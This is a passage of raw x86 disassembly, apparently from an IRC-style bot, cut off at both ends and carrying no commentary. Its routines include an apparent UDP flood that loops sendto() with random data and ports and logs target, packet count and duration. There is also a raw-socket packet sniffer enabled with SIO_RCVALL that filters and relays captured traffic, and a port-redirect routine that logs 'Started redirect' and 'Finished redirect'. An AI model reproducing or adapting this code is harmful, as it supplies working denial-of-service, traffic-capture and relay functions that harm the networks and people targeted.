		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		call	near ptr 71AB2B66h
		nop
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		call	near ptr 28502B8h
		nop
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		call	near ptr 71AB2C69h
		nop
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80C7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80C7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446EFC
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4291E0	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4291E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4291E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4292B0:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_4292C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292C8:				; CODE XREF: ___:004292BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4292E0	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_4292F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292F8:				; CODE XREF: sub_4292E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4292E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429310	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429330	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429330	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429510	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_429528
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429528:				; CODE XREF: sub_429510+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429540	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42955E
		push	eax
		call	edi	; closesocket


loc_42955E:				; CODE XREF: sub_429540+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42956C
		push	eax
		call	edi	; closesocket


loc_42956C:				; CODE XREF: sub_429540+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_429540	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4295B0:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDB2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_4295E8:				; CODE XREF: ___:0042A576j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A600
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4296A0
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A570
; ---------------------------------------------------------------------------


loc_4296A0:				; CODE XREF: ___:00429664j
		push	offset asc_444600 ; " "
		lea	eax, [esp+234h]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_447214
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
